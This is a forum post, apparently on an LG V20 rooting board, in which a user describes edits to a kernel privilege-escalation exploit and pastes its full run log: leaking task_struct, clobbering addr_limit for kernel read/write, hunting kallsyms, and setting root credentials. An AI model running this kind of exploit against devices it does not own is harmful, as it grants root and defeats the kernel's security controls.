[LG V20 Questions & Answers] Supersonic27543:
Thank you very much for your ideas! (and [MENTION=2714177]arpruss[/MENTION] thanks for coming back to share your ideas) I implemented [MENTION=2714177]arpruss[/MENTION]'s suggestion to the best of my knowledge (if I can't get this working I will search with code signatures. It's harder but looks completely foolproof. Nice idea BTW!) and am getting some strange outputs. Because I don't know how to look up task_struct fields by name I just iterated through all task_struct values that could be kernel pointers because task_struct isn't very large, setting them as the kernel base. Also please forgive me if I'm missing something very obvious or have broken something, I'm still not familiar a lot with how this exploit works and I only know a little of C.

The changes I made (roughly):

1) Make search_base a global variable

2) Defining KERNEL_BASE as search_base

3) kptrLeak function iterates over the task_struct addresses and if an address has a value above 0xffffff0000000000, take that as the search_base and call loadKallsyms()

4) Terminate loadKallsyms() if kallsyms entry counts mismatch (else leads to a segmentation fault, or rarely a device crash or bus error)

5) Some other minor changes which I can't quite remember

The code gives this output:

MAIN: detected kernel version other than 3
MAIN: starting exploit for devices with waitqueue at 0x98
PARENT: soon will be calling WRITEV
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: initial portion length 0x12000
CHILD: task_struct_ptr = 0xffffffe5dd8a8dc0
CHILD: clobbering with extra leak structures
PARENT: clobbering at 0xffffffe7c998fab0
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: wrote 69688
PARENT: readv returns 69688, expected 69688
PARENT: clobbering test passed
CHILD: clobbered
PARENT: writev() returns 0x13008
PARENT: Reading leaked data
CHILD: task_struct_ptr = 0xffffffe5ea4b0000
CHILD: Finished write to FIFO.
PARENT: leaking successful
MAIN: thread_info should be in stack
MAIN: parsing kernel stack to find thread_info
PARENT: soon will be calling WRITEV
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: initial portion length 0x12000
CHILD: task_struct_ptr = 0xffffffe5dd8a8dc0
CHILD: clobbering with extra leak structures
PARENT: clobbering at 0xffffffe5ddde40b0
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
PARENT: readv returns 69688, expected 69688
PARENT: clobbering test passed
CHILD: clobbered
CHILD: extra leak
CHILD: Finished write to FIFO.
PARENT: writev() returns 0x17008
PARENT: Reading leaked data
PARENT: Reading extra leaked data
CHILD: wrote 69688
PARENT: leaking successful
MAIN: task_struct_ptr = ffffffe5dd8a8dc0
MAIN: thread_info_ptr = ffffffe5ea4b01a0
MAIN: Clobbering addr_limit
PARENT: clobbering at 0xffffffe5ea4b01a8
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
PARENT: readv returns 69648, expected 69648
PARENT: clobbering test passed
MAIN: thread_info = 0xffffffe5ea4b01a0
CHILD: wrote 69648
MAIN: should have stable kernel R/W now
MAIN: searching for cred offset in task_struct

leaking kernel pointer
searching at 0xffffffe5ea4b0000
searching at 0xffffffe5dd8a8de8
searching at 0xffffffe5dd8a8de8
searching at 0xffffffe7de875280
searching at 0xffffff94c3209420
MAIN: kallsyms names start at 0xffffff94c33f1020 and have 76323 entries
MAIN: kallsyms names end at 0xffffff94c3486138
MAIN: **fail** kallsym entry count mismatch 131463
searching at 0xffffffe7d7474930
searching at 0xffffffe7d745f930
searching at 0xffffffe7d7474030
searching at 0xffffffe5dd8a9040
searching at 0xffffffe5dd8a9040
searching at 0xffffffe7d7489128
searching at 0xffffff94c4471808
searching at 0xffffffe5dd8a9148
searching at 0xffffffe5dd8a91a8
searching at 0xffffff94c20fb554
searching at 0xffffffe7d745ac80
searching at 0xffffffe5dd8a9200
searching at 0xffffffe5dd8a9200
searching at 0xffffffe65ec32db8
searching at 0xffffffe65ec33b78
searching at 0xffffffe5dd8a9250
searching at 0xffffffe5dd8a9250
searching at 0xffffffe5dd8a9260
searching at 0xffffffe5dd8a9260
searching at 0xffffffe5dd8a9270
searching at 0xffffffe5e9efe800
searching at 0xffffffe5e9efe800
searching at 0xffffffe7ceac9420
searching at 0xffffffe7ceac92c0
searching at 0xffffffe65ce24bb0
searching at 0xffffffe5c9254160
searching at 0xffffff94c20b883c
searching at 0xffffffe7cd33a940
searching at 0xffffffe7cd33a940
searching at 0xffffffe65ec32ee0
searching at 0xffffffe65ec32ee0
searching at 0xffffffe7cd33aed0
searching at 0xffffffe7cd33aed0
searching at 0xffffffe5dd8a8dc0
searching at 0xffffffe5dd8a9378
searching at 0xffffffe5dd8a9378
searching at 0xffffffe5dd8a9388
searching at 0xffffffe5dd8a9388
searching at 0xffffffe5cef05608
searching at 0xffffffe5cef05600
searching at 0xffffffe65ec32f30
searching at 0xffffffe5cef05600
searching at 0xffffffe7cd33af48
searching at 0xffffffe65ec32f48
searching at 0xffffffe5d26c2e80
searching at 0xffffffe5dd8a93e0
searching at 0xffffffe5dd8a93e0
searching at 0xffffffe5ddba0410
searching at 0xffffffe5ddba0410
searching at 0xffffffe5dd8a94a0
searching at 0xffffffe5dd8a94a0
searching at 0xffffffe5dd8a94b0
searching at 0xffffffe5dd8a94b0
searching at 0xffffffe5dd8a94c0
searching at 0xffffffe5dd8a94c0
searching at 0xffffffe5cdc4f480
searching at 0xffffffe5cdc4f480
searching at 0xffffffe7ce0f1740
searching at 0xffffffe7de87a680
searching at 0xffffff94c421f9c0
searching at 0xffffffe5ddba0400
searching at 0xffffffe5dd972940
searching at 0xffffffe5dd8a9548
searching at 0xffffffe5dd8a9548
searching at 0xffffffffffffffff
searching at 0xffffffff00000000
searching at 0xffffffe5ea76ec00
searching at 0xffffffe5ea76ec18
searching at 0xffffffe5de344d98
searching at 0xffffffe5dd8a96d0
searching at 0xffffffe5dd8a96d0
searching at 0xffffffe5dd8a9700
searching at 0xffffffe5dd8a9700
searching at 0xffffffe5dd8a9728
searching at 0xffffffe5dd8a9728
searching at 0xffffffe7ce0f1a80
searching at 0xffffffe5dd8a8dc0
searching at 0xffffffe5efb51b80
searching at 0xffffffe5e9efe800
searching at 0xffffff94c3a8c000
searching at 0xffffff94c4598000
searching at 0xffffffe5dd8a9460
searching at 0xffffffe7d749dfc0
searching at 0xffffffe5dd8a8dc0
searching at 0xffffffe5ea4b3920
searching at 0xffffffe5ea4b3a00
searching at 0xffffff94c2086f18
MAIN: kallsyms names start at 0xffffff94c3385a18 and have 54847 entries
MAIN: kallsyms names end at 0xffffff94c33f0c10
MAIN: **fail** kallsym entry count mismatch -460582799672
searching at 0xffffff80ffffffc8
searching at 0xffffffe7dc98a040
searching at 0xffffffe5de398000
searching at 0xffffffe5dd8a9ba8
searching at 0xffffffe5dd8a9ba8
searching at 0xffffffe5dde76e50
searching at 0xffffffe7dc815280
searching at 0xffffff94c3209420
MAIN: kallsyms names start at 0xffffff94c33f1020 and have 76323 entries
MAIN: kallsyms names end at 0xffffff94c3486138
MAIN: **fail** kallsym entry count mismatch 131463
searching at 0xffffffe5dd8a9c38
searching at 0xffffffe5dd8a9c38
kptrLeak finished

MAIN: using last successful search_base = ffffff94c3209420
MAIN: searching for selinux_enforcing
MAIN: searching for kallsyms format strings
MAIN: **partial failure** cannnot fix kallsyms format string
MAIN: searching for kallsyms table
MAIN: kallsyms names start at 0xffffff94c33f1020 and have 76323 entries
MAIN: kallsyms names end at 0xffffff94c3486138
MAIN: **fail** kallsym entry count mismatch 131463
MAIN: **fail** cannot find kallsyms table
MAIN: direct search didn't work, so searching via avc_denied
MAIN: searching for kallsyms format strings
MAIN: **partial failure** cannnot fix kallsyms format string
MAIN: searching for kallsyms table
MAIN: kallsyms names start at 0xffffff94c33f1020 and have 76323 entries
MAIN: kallsyms names end at 0xffffff94c3486138
MAIN: **fail** kallsym entry count mismatch 131463
MAIN: **fail** cannot find kallsyms table
MAIN: setting root credentials with cred offset 720
MAIN: UID = 0
MAIN: enabling capabilities
MAIN: SECCOMP status 0
MAIN: **FAIL** did not find selinux_enforcing symbol
MAIN: re-joining init mount namespace
Killed

The code I used is uploaded too. Also the entry counts 131463 and 76323 are persistent after reboots, but 54847 is not (it gave 58215 IIRC on a previous boot) There are 160849 lines in /proc/kallsyms.

Anyone have an idea about what is happening here?

(Sorry if this makes no sense but could the kallsyms table be split in two somehow? Or maybe the code doesn't find the kallsyms table at all?)

Thank you very much!